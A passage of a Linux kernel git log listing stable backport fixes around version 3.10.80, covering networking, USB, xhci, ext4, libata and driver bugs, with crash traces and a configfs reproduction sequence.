https://bugzilla.kernel.org/show_bug.cgi?id=94111 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 266817227aa72086de0714e6e16bde4e54f0dfcd Author: Paul Cercueil Date: Fri May 15 17:18:36 2015 +0200 iio: adis16400: Compute the scan mask from channel indices commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream. We unfortunately can't use ~0UL for the scan mask to indicate that the only valid scan mask is all channels selected. The IIO core needs the exact mask to work correctly and not a super-set of it. So calculate the masked based on the channels that are available for a particular device. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f2077e4c351a93e1c74a5387136df01abf46e8c6 Author: Paul Cercueil Date: Fri May 15 17:18:35 2015 +0200 iio: adis16400: Use != channel indices for the two voltage channels commit 7323d59862802ca109451eeda9777024a7625509 upstream. Previously, the two voltage channels had the same ID, which didn't cause conflicts in sysfs only because one channel is named and the other isn't; this is still violating the spec though, two indexed channels should never have the same index. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60e1d5b108d8c678f4e79d2ea787208c72b9acf1 Author: Lars-Peter Clausen Date: Fri May 15 17:18:34 2015 +0200 iio: adis16400: Report pressure channel scale commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream. Add the scale for the pressure channel, which is currently missing. Signed-off-by: Lars-Peter Clausen Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 012dacc6946dd0eb8e402a8785a64bf8617435d9 Author: Ian Campbell Date: Mon Jun 1 11:30:24 2015 +0100 xen: netback: read hotplug script once at start of day. [ Upstream commit 31a418986a5852034d520a5bab546821ff1ccf3d ] When we come to tear things down in netback_remove() and generate the uevent it is possible that the xenstore directory has already been removed (details below). In such cases netback_uevent() won't be able to read the hotplug script and will write a xenstore error node. A recent change to the hypervisor exposed this race such that we now sometimes lose it (where apparently we didn't ever before). Instead read the hotplug script configuration during setup and use it for the lifetime of the backend device. The apparently more obvious fix of moving the transition to state=Closed in netback_remove() to after the uevent does not work because it is possible that we are already in state=Closed (in reaction to the guest having disconnected as it shutdown). Being already in Closed means the toolstack is at liberty to start tearing down the xenstore directories. In principal it might be possible to arrange to unregister the device sooner (e.g on transition to Closing) such that xenstore would still be there but this state machine is fragile and prone to anger... A modern Xen system only relies on the hotplug uevent for driver domains, when the backend is in the same domain as the toolstack it will run the necessary setup/teardown directly in the correct sequence wrt xenstore changes. Signed-off-by: Ian Campbell Acked-by: Wei Liu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e23e8b4df94905645597df1025d22aef4f26795a Author: WANG Cong Date: Tue May 26 16:08:48 2015 -0700 net_sched: invoke ->attach() after setting dev->qdisc [ Upstream commit 86e363dc3b50bfd50a1f315934583fbda673ab8d ] For mq qdisc, we add per tx queue qdisc to root qdisc for display purpose, however, that happens too early, before the new dev->qdisc is finally set, this causes q->list points to an old root qdisc which is going to be freed right before assigning with a new one. Fix this by moving ->attach() after setting dev->qdisc. For the record, this fixes the following crash: ------------[ cut here ]------------ WARNING: CPU: 1 PID: 975 at lib/list_debug.c:59 __list_del_entry+0x5a/0x98() list_del corruption. prev->next should be ffff8800d1998ae8, but was 6b6b6b6b6b6b6b6b CPU: 1 PID: 975 Comm: tc Not tainted 4.1.0-rc4+ #1019 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 0000000000000009 ffff8800d73fb928 ffffffff81a44e7f 0000000047574756 ffff8800d73fb978 ffff8800d73fb968 ffffffff810790da ffff8800cfc4cd20 ffffffff814e725b ffff8800d1998ae8 ffffffff82381250 0000000000000000 Call Trace: [] dump_stack+0x4c/0x65 [] warn_slowpath_common+0x9c/0xb6 [] ? __list_del_entry+0x5a/0x98 [] warn_slowpath_fmt+0x46/0x48 [] ? dev_graft_qdisc+0x5e/0x6a [] __list_del_entry+0x5a/0x98 [] list_del+0xe/0x2d [] qdisc_list_del+0x1e/0x20 [] qdisc_destroy+0x30/0xd6 [] qdisc_graft+0x11d/0x243 [] tc_get_qdisc+0x1a6/0x1d4 [] ? mark_lock+0x2e/0x226 [] rtnetlink_rcv_msg+0x181/0x194 [] ? rtnl_lock+0x17/0x19 [] ? rtnl_lock+0x17/0x19 [] ? __rtnl_unlock+0x17/0x17 [] netlink_rcv_skb+0x4d/0x93 [] rtnetlink_rcv+0x26/0x2d [] netlink_unicast+0xcb/0x150 [] ? might_fault+0x59/0xa9 [] netlink_sendmsg+0x4fa/0x51c [] sock_sendmsg_nosec+0x12/0x1d [] sock_sendmsg+0x29/0x2e [] ___sys_sendmsg+0x1b4/0x23a [] ? native_sched_clock+0x35/0x37 [] ? sched_clock_local+0x12/0x72 [] ? sched_clock_cpu+0x9e/0xb7 [] ? current_kernel_time+0xe/0x32 [] ? lock_release_holdtime.part.29+0x71/0x7f [] ? read_seqcount_begin.constprop.27+0x5f/0x76 [] ? trace_hardirqs_on_caller+0x17d/0x199 [] ? __fget_light+0x50/0x78 [] __sys_sendmsg+0x42/0x60 [] SyS_sendmsg+0x12/0x1c [] system_call_fastpath+0x12/0x6f ---[ end trace ef29d3fb28e97ae7 ]--- For long term, we probably need to clean up the qdisc_graft() code in case it hides other bugs like this. Fixes: 95dc19299f74 ("pkt_sched: give visibility to mq slave qdiscs") Cc: Jamal Hadi Salim Signed-off-by: Cong Wang Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4844b74bdfe4b59a1a90b0ec176f0aee426f42c3 Author: Mark Salyzyn Date: Tue May 26 08:22:19 2015 -0700 unix/caif: sk_socket can disappear when state is unlocked [ Upstream commit b48732e4a48d80ed4a14812f0bab09560846514e ] got a rare NULL pointer dereference in clear_bit Signed-off-by: Mark Salyzyn Acked-by: Hannes Frederic Sowa ---- v2: switch to sock_flag(sk, SOCK_DEAD) and added net/caif/caif_socket.c v3: return -ECONNRESET in upstream caller of wait function for SOCK_DEAD Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6a3686854b23bb6ec33409326f22e0f9be710aa Author: Richard Cochran Date: Mon May 25 11:55:43 2015 +0200 net: dp83640: fix broken calibration routine. [ Upstream commit 397a253af5031de4a4612210055935309af4472c ] Currently, the calibration function that corrects the initial offsets among multiple devices only works the first time. If the function is called more than once, the calibration fails and bogus offsets will be programmed into the devices. In a well hidden spot, the device documentation tells that trigger indexes 0 and 1 are special in allowing the TRIG_IF_LATE flag to actually work. This patch fixes the issue by using one of the special triggers during the recalibration method. Signed-off-by: Richard Cochran Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ac8e81b0bbbafd35db2a7ab74c7a48239ac4205 Author: Thadeu Lima de Souza Cascardo Date: Fri May 22 12:18:59 2015 -0300 bridge: fix parsing of MLDv2 reports [ Upstream commit 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 ] When more than a multicast address is present in a MLDv2 report, all but the first address is ignored, because the code breaks out of the loop if there has not been an error adding that address. This has caused failures when two guests connected through the bridge tried to communicate using IPv6. Neighbor discoveries would not be transmitted to the other guest when both used a link-local address and a static address. This only happens when there is a MLDv2 querier in the network. The fix will only break out of the loop when there is a failure adding a multicast address. The mdb before the patch: dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::2 temp After the patch: dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::fb temp dev ovirtmgmt port bond0.86 grp ff02::2 temp dev ovirtmgmt port bond0.86 grp ff02::d temp dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp dev ovirtmgmt port bond0.86 grp ff02::16 temp dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp dev ovirtmgmt port bond0.86 grp ff02::1:ffa1:40bf temp Fixes: 08b202b67264 ("bridge br_multicast: IPv6 MLD support.") Reported-by: Rik Theys Signed-off-by: Thadeu Lima de Souza Cascardo Tested-by: Rik Theys Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 872c1e0a965da4d5d38ec726d7f951549f120855 Author: Eric W. Biederman Date: Fri May 22 04:58:12 2015 -0500 ipv4: Avoid crashing in ip_error [ Upstream commit 381c759d9916c42959515ad34a6d467e24a88e93 ] ip_error does not check if in_dev is NULL before dereferencing it. IThe following sequence of calls is possible: CPU A CPU B ip_rcv_finish ip_route_input_noref() ip_route_input_slow() inetdev_destroy() dst_input() With the result that a network device can be destroyed while processing an input packet. A crash was triggered with only unicast packets in flight, and forwarding enabled on the only network device. The error condition was created by the removal of the network device. As such it is likely the that error code was -EHOSTUNREACH, and the action taken by ip_error (if in_dev had been accessible) would have been to not increment any counters and to have tried and likely failed to send an icmp error as the network device is going away. Therefore handle this weird case by just dropping the packet if !in_dev. It will result in dropping the packet sooner, and will not result in an actual change of behavior. Fixes: 251da4130115b ("ipv4: Cache ip_error() routes even when not forwarding.") Reported-by: Vittorio Gambaletta Tested-by: Vittorio Gambaletta Signed-off-by: Vittorio Gambaletta Signed-off-by: "Eric W. Biederman" Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35c7ef1eb630d7bef61d60b74619da7ee2494323 Author: Florian Fainelli Date: Fri May 15 16:30:41 2015 -0700 net: phy: Allow EEE for all RGMII variants [ Upstream commit 7e14069651591c81046ffaec13c3dac8cb70f5fb ] RGMII interfaces come in multiple flavors: RGMII with transmit or receive internal delay, no delays at all, or delays in both direction. This change extends the initial check for PHY_INTERFACE_MODE_RGMII to cover all of these variants since EEE should be allowed for any of these modes, since it is a property of the RGMII, hence Gigabit PHY capability more than the RGMII electrical interface and its delays. Fixes: a59a4d192166 ("phy: add the EEE support and the way to access to the MMD registers") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89e51e35be4aec6e28b66754ba17e670d02684f2 Author: Pranav Vashi Date: Fri Nov 18 22:49:18 2016 +0530 fs: Fix build with upstream merge Signed-off-by: Pranav Vashi commit 244f98ac269a576d717bbf4ca0c729ece7dc220f Author: Greg Kroah-Hartman Date: Fri Jun 5 23:20:14 2015 -0700 Linux 3.10.80 Signed-off-by: Pranav Vashi commit e972dda1b55e45ec4143764665cccfee83023d3d Author: Andrew Morton Date: Thu May 28 15:44:24 2015 -0700 fs/binfmt_elf.c:load_elf_binary(): return -EINVAL on zero-length mappings commit 2b1d3ae940acd11be44c6eced5873d47c2e00ffa upstream. load_elf_binary() returns `retval', not `error'. Fixes: a87938b2e246b81b4fb ("fs/binfmt_elf.c: fix bug in loading of PIE binaries") Reported-by: James Hogan Cc: Michael Davidson Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 38a2fe213e3388c1a30ccf11cb709b85b56813ed Author: Rafael J. Wysocki Date: Thu May 7 21:19:39 2015 +0200 ACPI / init: Fix the ordering of acpi_reserve_resources() commit b9a5e5e18fbf223502c0b2264c15024e393da928 upstream. Since acpi_reserve_resources() is defined as a device_initcall(), there's no guarantee that it will be executed in the right order with respect to the rest of the ACPI initialization code. On some systems this leads to breakage if, for example, the address range that should be reserved for the ACPI fixed registers is given to the PCI host bridge instead if the race is won by the wrong code path. Fix this by turning acpi_reserve_resources() into a void function and calling it directly from within the ACPI initialization sequence. Reported-and-tested-by: George McCollister Link: http://marc.info/?t=143092384600002&r=1&w=2 Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d9f3fd0620d600e9adf07aa99de899c17585dd0 Author: Benjamin Tissoires Date: Thu Apr 23 09:08:43 2015 -0700 Input: elantech - fix semi-mt protocol for v3 HW commit 3c0213d17a09601e0c6c0ae0e27caf70d988290f upstream. When the v3 hardware sees more than one finger, it uses the semi-mt protocol to report the touches. However, it currently works when num_fingers is 0, 1 or 2, but when it is 3 and above, it sends only 1 finger as if num_fingers was 1. This confuses userspace which knows how to deal with extra fingers when all the slots are used, but not when some are missing. Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90101 Signed-off-by: Benjamin Tissoires Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39286542015dc523d94e681c0a7f3d9c9749f8c4 Author: Larry Finger Date: Fri Apr 24 11:03:37 2015 -0500 rtlwifi: rtl8192cu: Fix kernel deadlock commit 414b7e3b9ce8b0577f613e656fdbc36b34b444dd upstream. The USB mini-driver in rtlwifi, which is used by rtl8192cu, issues a call to usb_control_msg() with a timeout value of 0. In some instances where the interface is shutting down, this infinite wait results in a CPU deadlock. A one second timeout fixes this problem without affecting any normal operations. This bug is reported at https://bugzilla.novell.com/show_bug.cgi?id=927786. Reported-by: Bernhard Wiedemann Tested-by: Bernhard Wiedemann Signed-off-by: Larry Finger Cc: Bernhard Wiedemann Cc: Takashi Iwai Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d1370ba9e1e5ebecc33328c657cbd0686bf90f1 Author: NeilBrown Date: Fri May 8 18:19:34 2015 +1000 md/raid5: don't record new size if resize_stripes fails. commit 6e9eac2dcee5e19f125967dd2be3e36558c42fff upstream. If any memory allocation in resize_stripes fails we will return -ENOMEM, but in some cases we update conf->pool_size anyway. This means that if we try again, the allocations will be assumed to be larger than they are, and badness results. So only update pool_size if there is no error. This bug was introduced in 2.6.17 and the patch is suitable for -stable. Fixes: ad01c9e3752f ("[PATCH] md: Allow stripes to be expanded in preparation for expanding an array") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a4010a29941e79ec4e9c192a0d10cb93ea2d480d Author: Scott Mayhew Date: Tue Apr 28 16:29:53 2015 -0400 svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures commit 9507271d960a1911a51683888837d75c171cd91f upstream. In an environment where the KDC is running Active Directory, the exported composite name field returned in the context could be large enough to span a page boundary. Attaching a scratch buffer to the decoding xdr_stream helps deal with those cases. The case where we saw this was actually due to behavior that's been fixed in newer gss-proxy versions, but we're fixing it here too. Signed-off-by: Scott Mayhew Reviewed-by: Simo Sorce Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b8ed453c4f24e903973c399813312562f4a7f154 Author: Russell King Date: Fri May 15 11:02:23 2015 +0100 ARM: fix missing syscall trace exit commit 1b97937246d8b97c0760d16d8992c7937bdf5e6a upstream. Josh Stone reports: I've discovered a case where both arm and arm64 will miss a ptrace syscall-exit that they should report. If the syscall is entered without TIF_SYSCALL_TRACE set, then it goes on the fast path. It's then possible to have TIF_SYSCALL_TRACE added in the middle of the syscall, but ret_fast_syscall doesn't check this flag again. Fix this by always checking for a syscall trace in the fast exit path. Reported-by: Josh Stone Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ad1ef701f52b26aa976cdbfec6e3f96459dc221 Author: Philippe Reynes Date: Wed May 13 00:18:26 2015 +0200 ARM: dts: imx27: only map 4 Kbyte for fec registers commit a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce upstream. According to the imx27 documentation, fec has a 4 Kbyte memory space map. Moreover, the actual 16 Kbyte mapping overlaps the SCC (Security Controller) memory register space. So, we reduce the memory register space to 4 Kbyte. Signed-off-by: Philippe Reynes Acked-by: Uwe Kleine-König Fixes: 9f0749e3eb88 ("ARM i.MX27: Add devicetree support") Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee2e4f886e5bd39baeb1a072c4982d8ee79b36b5 Author: Harald Freudenberger Date: Thu May 21 10:01:11 2015 +0200 crypto: s390/ghash - Fix incorrect ghash icv buffer handling. commit a1cae34e23b1293eccbcc8ee9b39298039c3952a upstream. Multitheaded tests showed that the icv buffer in the current ghash implementation is not handled correctly. A move of this working ghash buffer value to the descriptor context fixed this. Code is tested and verified with an multithreaded application via af_alg interface. Signed-off-by: Harald Freudenberger Signed-off-by: Gerald Schaefer Reported-by: Herbert Xu Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 04605b328cde023f98e6f97948af20926910b8db Author: Scott Branden Date: Mon Mar 16 10:59:52 2015 -0700 rt2x00: add new rt2800usb device DWA 130 commit ea345c145ff23197eab34d0c4d0c8a93d7bea8c6 upstream. Add the USB Id to link the D-Link DWA 130 USB Wifi adapter to the rt2830 driver. Signed-off-by: Scott Branden Signed-off-by: Pieter Truter Signed-off-by: Kalle Valo Cc: Larry Finger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 369ddb64ca4bd3385637f150ce0de79d10e88d28 Author: Gabriele Mazzotta Date: Sat Apr 25 19:52:37 2015 +0200 libata: Ignore spurious PHY event on LPM policy change commit 09c5b4803a80a5451d950d6a539d2eb311dc0fb1 upstream. When the LPM policy is set to ATA_LPM_MAX_POWER, the device might generate a spurious PHY event that cuases errors on the link. Ignore this event if it occured within 10s after the policy change. The timeout was chosen observing that on a Dell XPS13 9333 these spurious events can occur up to roughly 6s after the policy change. Link: http://lkml.kernel.org/g/3352987.ugV1Ipy7Z5@xps13 Signed-off-by: Gabriele Mazzotta Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da484fa855b4aeae601ffc5d43b2c0016bbcddaf Author: Gabriele Mazzotta Date: Sat Apr 25 19:52:36 2015 +0200 libata: Add helper to determine when PHY events should be ignored commit 8393b811f38acdf7fd8da2028708edad3e68ce1f upstream. This is a preparation commit that will allow to add other criteria according to which PHY events should be dropped. Signed-off-by: Gabriele Mazzotta Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a011f9a3ba214714cd4d253d8fa970013ee015e6 Author: Eryu Guan Date: Thu May 14 19:00:45 2015 -0400 ext4: check for zero length extent explicitly commit 2f974865ffdfe7b9f46a9940836c8b167342563d upstream. The following commit introduced a bug when checking for zero length extent 5946d08 ext4: check for overlapping extents in ext4_valid_extent_entries() Zero length extent could pass the check if lblock is zero. Adding the explicit check for zero length back. Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 755351e8a53233b4564826aceeb58aa68ccc2398 Author: Ludovic Desroches Date: Wed May 6 15:16:46 2015 +0200 mmc: atmel-mci: fix bad variable type for clkdiv commit 60c8f783a18feb95ad967c87e9660caf09fb4700 upstream. clkdiv is declared as an u32 but it can be set to a negative value causing a huge divisor value. Change its type to int to avoid this case. Signed-off-by: Ludovic Desroches Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfeb0410341b46e4e82175c79f06c42b57835b08 Author: Anton Blanchard Date: Thu May 14 14:45:40 2015 +1000 powerpc: Align TOC to 256 bytes commit 5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 upstream. Recent toolchains force the TOC to be 256 byte aligned. We need to enforce this alignment in our linker script, otherwise pointers to our TOC variables (__toc_start, __prom_init_toc_start) could be incorrect. If they are bad, we die a few hundred instructions into boot. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0f0b4b101f993cedb39e49ac4bdb0b27493054d Author: Krzysztof Opasiak Date: Fri Mar 20 15:48:56 2015 +0100 usb: gadget: configfs: Fix interfaces array NULL-termination commit 903124fe1aa284f61745a9dd4fbfa0184e569fff upstream. memset() to 0 interfaces array before reusing usb_configuration structure. This commit fix bug: ln -s functions/acm.1 configs/c.1 ln -s functions/acm.2 configs/c.1 ln -s functions/acm.3 configs/c.1 echo "UDC name" > UDC echo "" > UDC rm configs/c.1/acm.* rmdir functions/* mkdir functions/ecm.usb0 ln -s functions/ecm.usb0 configs/c.1 echo "UDC name" > UDC [ 82.220969] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 82.229009] pgd = c0004000 [ 82.231698] [00000000] *pgd=00000000 [ 82.235260] Internal error: Oops: 17 [#1] PREEMPT SMP ARM [ 82.240638] Modules linked in: [ 82.243681] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.0.0-rc2 #39 [ 82.249926] Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) [ 82.256003] task: c07cd2f0 ti: c07c8000 task.ti: c07c8000 [ 82.261393] PC is at composite_setup+0xe3c/0x1674 [ 82.266073] LR is at composite_setup+0xf20/0x1674 [ 82.270760] pc : [] lr : [] psr: 600001d3 [ 82.270760] sp : c07c9df0 ip : c0806448 fp : ed8c9c9c [ 82.282216] r10: 00000001 r9 : 00000000 r8 : edaae918 [ 82.287425] r7 : ed551cc0 r6 : 00007fff r5 : 00000000 r4 : ed799634 [ 82.293934] r3 : 00000003 r2 : 00010002 r1 : edaae918 r0 : 0000002e [ 82.300446] Flags: nZCv IRQs off FIQs off Mode SVC_32 ISA ARM Segment kernel [ 82.307910] Control: 10c5387d Table: 6bc1804a DAC: 00000015 [ 82.313638] Process swapper/0 (pid: 0, stack limit = 0xc07c8210) [ 82.319627] Stack: (0xc07c9df0 to 0xc07ca000) [ 82.323969] 9de0: 00000000 c06e65f4 00000000 c07c9f68 [ 82.332130] 9e00: 00000067 c07c59ac 000003f7 edaae918 ed8c9c98 ed799690 eca2f140 200001d3 [ 82.340289] 9e20: ee79a2d8 c07c9e88 c07c5304 ffff55db 00010002 edaae810 edaae860 eda96d50 [ 82.348448] 9e40: 00000009 ee264510 00000007 c07ca444 edaae860 c0340890 c0827a40 ffff55e0 [ 82.356607] 9e60: c0827a40 eda96e40 ee264510 edaae810 00000000 edaae860 00000007 c07ca444 [ 82.364766] 9e80: edaae860 c0354170 c03407dc c033db4c edaae810 00000000 00000000 00000010 [ 82.372925] 9ea0: 00000032 c0341670 00000000 00000000 00000001 eda96e00 00000000 00000000 [ 82.381084] 9ec0: 00000000 00000032 c0803a23 ee1aa840 00000001 c005d54c 249e2450 00000000 [ 82.389244] 9ee0: 200001d3 ee1aa840 ee1aa8a0 ed84f4c0 00000000 c07c9f68 00000067 c07c59ac [ 82.397403] 9f00: 00000000 c005d688 ee1aa840 ee1aa8a0 c07db4b4 c006009c 00000032 00000000 [ 82.405562] 9f20: 00000001 c005ce20 c07c59ac c005cf34 f002000c c07ca780 c07c9f68 00000057 [ 82.413722] 9f40: f0020000 413fc090 00000001 c00086b4 c000f804 60000053 ffffffff c07c9f9c [ 82.421880] 9f60: c0803a20 c0011fc0 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c [ 82.430040] 9f80: c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0 [ 82.438199] 9fa0: c000f800 c000f804 60000053 ffffffff 00000000 c0050e70 c0803bc0 c0783bd8 [ 82.446358] 9fc0: ffffffff ffffffff c0783664 00000000 00000000 c07b13e8 00000000 c0803e54 [ 82.454517] 9fe0: c07ca480 c07b13e4 c07ce40c 4000406a 00000000 40008074 00000000 00000000 [ 82.462689] [] (composite_setup) from [] (s3c_hsotg_complete_setup+0xb4/0x418) [ 82.471626] [] (s3c_hsotg_complete_setup) from [] (usb_gadget_giveback_request+0xc/0x10) [ 82.481429] [] (usb_gadget_giveback_request) from [] (s3c_hsotg_complete_request+0xcc/0x12c) [ 82.491583] [] (s3c_hsotg_complete_request) from [] (s3c_hsotg_irq+0x4fc/0x558) [ 82.500614] [] (s3c_hsotg_irq) from [] (handle_irq_event_percpu+0x50/0x150) [ 82.509291] [] (handle_irq_event_percpu) from [] (handle_irq_event+0x3c/0x5c) [ 82.518145] [] (handle_irq_event) from [] (handle_fasteoi_irq+0xd4/0x18c) [ 82.526650] [] (handle_fasteoi_irq) from [] (generic_handle_irq+0x20/0x30) [ 82.535242] [] (generic_handle_irq) from [] (__handle_domain_irq+0x6c/0xdc) [ 82.543923] [] (__handle_domain_irq) from [] (gic_handle_irq+0x2c/0x6c) [ 82.552256] [] (gic_handle_irq) from [] (__irq_svc+0x40/0x74) [ 82.559716] Exception stack(0xc07c9f68 to 0xc07c9fb0) [ 82.564753] 9f60: 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c [ 82.572913] 9f80: c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0 [ 82.581069] 9fa0: c000f800 c000f804 60000053 ffffffff [ 82.586113] [] (__irq_svc) from [] (arch_cpu_idle+0x30/0x3c) [ 82.593491] [] (arch_cpu_idle) from [] (cpu_startup_entry+0x128/0x1a4) [ 82.601740] [] (cpu_startup_entry) from [] (start_kernel+0x350/0x3bc) [ 82.609890] Code: 0a000002 e3530005 05975010 15975008 (e5953000) [ 82.615965] ---[ end trace f57d5f599a5f1bfa ]--- Most of kernel code assume that interface array in struct usb_configuration is NULL terminated. When gadget is composed with configfs configuration structure may be reused for different functions set. This bug happens because purge_configs_funcs() sets only next_interface_id to 0. Interface array still contains pointers to already freed interfaces. If in second try we add less interfaces than earlier we may access unallocated memory when trying to get interface descriptors. Signed-off-by: Krzysztof Opasiak Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7ef08a1252e1549327e50529b52cb82b80e23ef Author: Hans de Goede Date: Thu Apr 30 11:09:44 2015 +0200 usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices commit 172115090f5e739660b97694618a2ba86457063a upstream. Without this flag some versions of these enclosures do not work. Reported-and-tested-by: Christian Schaller Signed-off-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a5c0f85099a082b2255d4d8f09a15331636e7bd Author: Mark Edwards Date: Tue Apr 14 08:52:34 2015 -0400 USB: cp210x: add ID for KCF Technologies PRN device commit c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 upstream. Added the USB serial console device ID for KCF Technologies PRN device which has a USB port for its serial console. Signed-off-by: Mark Edwards Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c331032f5a75edc95cd612e0fafef061caff8d9 Author: Jason A. Donenfeld Date: Wed Apr 22 14:35:08 2015 +0200 USB: pl2303: Remove support for Samsung I330 commit 48ef23a4f686b1e4519d4193c20d26834ff810ff upstream. This phone is already supported by the visor driver. Signed-off-by: Jason A. Donenfeld Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e5d87d1478f639bd741522ea6bca714b9eae886 Author: Jason A. Donenfeld Date: Wed Apr 22 14:35:09 2015 +0200 USB: visor: Match I330 phone more precisely commit 82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d upstream. Samsung has just released a portable USB3 SSD, coming in a very small and nice form factor. It's USB ID is 04e8:8001, which unfortunately is already used by the Palm Visor driver for the Samsung I330 phone cradle. Having pl2303 or visor pick up this device ID results in conflicts with the usb-storage driver, which handles the newly released portable USB3 SSD. To work around this conflict, I've dug up a mailing list post [1] from a long time ago, in which a user posts the full USB descriptor information. The most specific value in this appears to be the interface class, which has value 255 (0xff). Since usb-storage requires an interface class of 0x8, I believe it's correct to disambiguate the two devices by matching on 0xff inside visor. [1] http://permalink.gmane.org/gmane.linux.usb.user/4264 Signed-off-by: Jason A. Donenfeld Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cc42c3ea89eb38c3e333e662e19407b7a0ca6dd Author: Joe Lawrence Date: Thu Apr 30 17:16:04 2015 +0300 xhci: gracefully handle xhci_irq dead device commit 948fa13504f80b9765d2b753691ab94c83a10341 upstream. If the xHCI host controller has died (ie, device removed) or suffered other serious fatal error (STS_FATAL), then xhci_irq should handle this condition with IRQ_HANDLED instead of -ESHUTDOWN. Signed-off-by: Joe Lawrence Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95a3f88d2c27031f74f0f385f6f6924cfddc6270 Author: Mathias Nyman Date: Thu Apr 30 17:16:03 2015 +0300 xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 commit 18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 upstream. Our event ring consists of only one segment, and we risk filling the event ring in case we get isoc transfers with short intervals such as webcams that fill a TD every microframe (125us) With 64 TRB segment size one usb camera could fill the event ring in 8ms. A setup with several cameras and other devices can fill up the event ring as it is shared between all devices. This has occurred when uvcvideo queues 5 * 32TD URBs which then get cancelled when the video mode changes. The cancelled URBs are returned in the xhci interrupt context and blocks the interrupt handler from handling the new events. A full event ring will block xhci from scheduling traffic and affect all devices conneted to the xhci, 